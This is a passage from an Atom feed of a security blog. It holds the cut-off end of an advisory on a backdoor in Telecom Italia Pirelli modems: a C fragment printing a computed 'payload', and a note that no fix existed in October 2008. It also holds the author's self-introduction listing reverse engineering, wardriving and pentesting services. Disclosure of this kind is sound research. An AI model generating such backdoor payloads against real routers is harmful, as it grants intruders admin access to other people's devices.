);&lt;br /&gt;md5_finish( &amp;amp;ctx,&lt;br /&gt;md5sum );&lt;br /&gt;printf("Payload is: ");&lt;br /&gt;for( j = 0; j &lt;&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;###################################################################&lt;br /&gt;======&lt;br /&gt;&lt;span style="font-size:130%;"&gt;5) Fix&lt;/span&gt;&lt;br /&gt;======&lt;br /&gt;&lt;br /&gt;Atcualy at 13 Oct 2008 NO FIX available&lt;br /&gt;###################################################################&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2684248577538616884-2484751218196917386?l=saxdax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://saxdax.blogspot.com/feeds/2484751218196917386/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://saxdax.blogspot.com/2009/01/backdoor-on-telecom-italia-pirelli.html#comment-form' title='3 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2684248577538616884/posts/default/2484751218196917386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2684248577538616884/posts/default/2484751218196917386'/><link rel='alternate' type='text/html' href='http://saxdax.blogspot.com/2009/01/backdoor-on-telecom-italia-pirelli.html' title='backdoor on Telecom Italia Pirelli modems allows admin access'/><author><name>saxdax</name><uri>http://www.blogger.com/profile/03243994898564667852</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_e6fyw5ja7JI/SUr_h0nJErI/AAAAAAAAAAM/UYGw7af1f6A/S220/saxdax2.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_e6fyw5ja7JI/SV0mFKYXfgI/AAAAAAAAAAo/iVmZGsItkEA/s72-c/AGA-AGB-AG3.JPG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2684248577538616884.post-7091151342599536363</id><published>2008-12-20T17:14:00.000-08:00</published><updated>2009-03-04T05:44:21.038-08:00</updated><title type='text'>saxdax</title><content type='html'>This blog borns to publish infos and guides about my studies, researches and results in IT Security world.&lt;br /&gt;If you need support (professional or not) with the matters listed below simply contact me at &lt;a href="mailto:saxdax2@gmail.com"&gt;saxdax2@gmail.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Reverse engineering: &lt;/strong&gt;x86, MIPS, ARM, ELF32&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Cryptanalysis: &lt;/strong&gt;standard algorithms, custom algorithms&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Wardriving: &lt;/strong&gt;WEP, WPA (&lt;a href="http://wpa-alice.blogspot.com/"&gt;telecom italia WPA Alice analysis&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Penetration testing: &lt;/strong&gt;Web sites (tests against SQL Injection and Cross Site Scripting)&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Information disclosure: &lt;/strong&gt;how to find any kind of infos on the web…&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Programming:&lt;/strong&gt; everything…&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Network Traffic Anaysis:&lt;/strong&gt; knowledge of every level of the ISO/OSI stack model.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color:#99ff99;"&gt;saxdax&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2684248577538616884-7091151342599536363?l=saxdax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://saxdax.blogspot.com/feeds/7091151342599536363/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://saxdax.blogspot.com/2008/12/saxdax.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2684248577538616884/posts/default/7091151342599536363'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2684248577538616884/posts/default/7091151342599536363'/><link rel='alternate' type='text/html' href='http://saxdax.blogspot.com/2008/12/saxdax.html' title='saxdax'/><author><name>saxdax</name><uri>http://www.blogger.com/profile/03243994898564667852</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_e6fyw5ja7JI/SUr_h0nJErI/AAAAAAAAAAM/UYGw7af1f6A/S220/saxdax2.gif'/></author><thr:total>0</thr:total></entry></feed>
